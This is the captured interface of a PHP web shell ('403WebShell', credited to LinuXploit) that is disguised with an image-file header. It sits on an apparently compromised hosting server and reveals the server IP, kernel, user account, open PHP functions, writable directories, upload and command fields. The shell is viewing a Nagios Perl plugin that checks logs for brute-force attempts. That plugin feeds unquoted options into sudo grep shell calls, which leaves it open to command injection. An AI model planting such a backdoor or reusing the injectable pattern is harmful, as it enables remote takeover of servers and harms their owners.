����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.31.240
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_bruteforce
#!/usr/bin/env perl

use extreme;
use English;
use POSIX 'strftime';
use Date::Parse 'str2time';
use Getopt::Long qw(:config no_ignore_case);

my (
    $file,     $math,      $help,  $warntime, $warncount,
    $crittime, $critcount, $state, $message,
);

my %E_STATE = (
    'OK'       => 0,
    'WARNING'  => 1,
    'CRITICAL' => 2,
    'UNKNOWN'  => 3
);

# usage
my $USAGE = <<"END_USAGE";
Usage: check_brutforce [OPTION]...
END_USAGE

# help
my $HELP = <<'END_HELP';

GENERAL OPTIONS:

   --file           Log file for find math
   --math           String for search
   --warntime       Time in minutes for which count number of matches for WARN
status
   --warncount      Count matches for WARN status
   --crittime       Time in minutes for which count number of matches for CRIT
status
   --critcount      Count matches for CRIT status
   --help           Print help

END_HELP

GetOptions(
    'file=s'      => \$file,
    'math=s'      => \$math,
    'warntime=i'  => \$warntime,
    'warncount=i' => \$warncount,
    'crittime=i'  => \$crittime,
    'critcount=i' => \$critcount,
    'help'        => \$help,
);

# print help
if ($help) {
    print $USAGE, $HELP;
    exit $E_STATE{'UNKNOWN'};
}

#test file exists
my $tf = `sudo test -f $file`;
if ($?) {
    print "File for parse not exists\n";
    exit $E_STATE{'UNKNOWN'};
}

sub log_parse ( $file, $count ) {
    my $matched = `sudo /bin/grep -c "$math" $file`;
    chop $matched;
    if ( $matched < $count ) {
        say $message;
        exit $state;
    }
    my @records = `sudo /bin/grep "$math" $file | /usr/bin/tail -n $count`;
    my $first_date = $1 if $records[0] =~ /\[(.*)\s\+[0-9]+\]/;
    exit 1 if !$first_date;
    my $log_date = str2time($first_date);
    return $log_date;
}

$message = 'OK';
$state   = $E_STATE{'OK'};

my $current_date = strftime( '%s', localtime );

if ( ( $crittime * 60 ) > ( $current_date - log_parse( $file, $critcount ) ) )
{
    $message
      = "CRITICAL: In last $crittime minutes there were more than $critcount requests to $math";
    $state = $E_STATE{'CRITICAL'};
}
elsif (
    ( $warntime * 60 ) > ( $current_date - log_parse( $file, $warncount ) ) )
{
    $message
      = "WARNING: In last $warntime minutes there were more than $warncount requests to $math";
    $state = $E_STATE{'WARNING'};
}

say $message;
exit $state;

Youez - 2016 - github.com/yon3zu
LinuXploit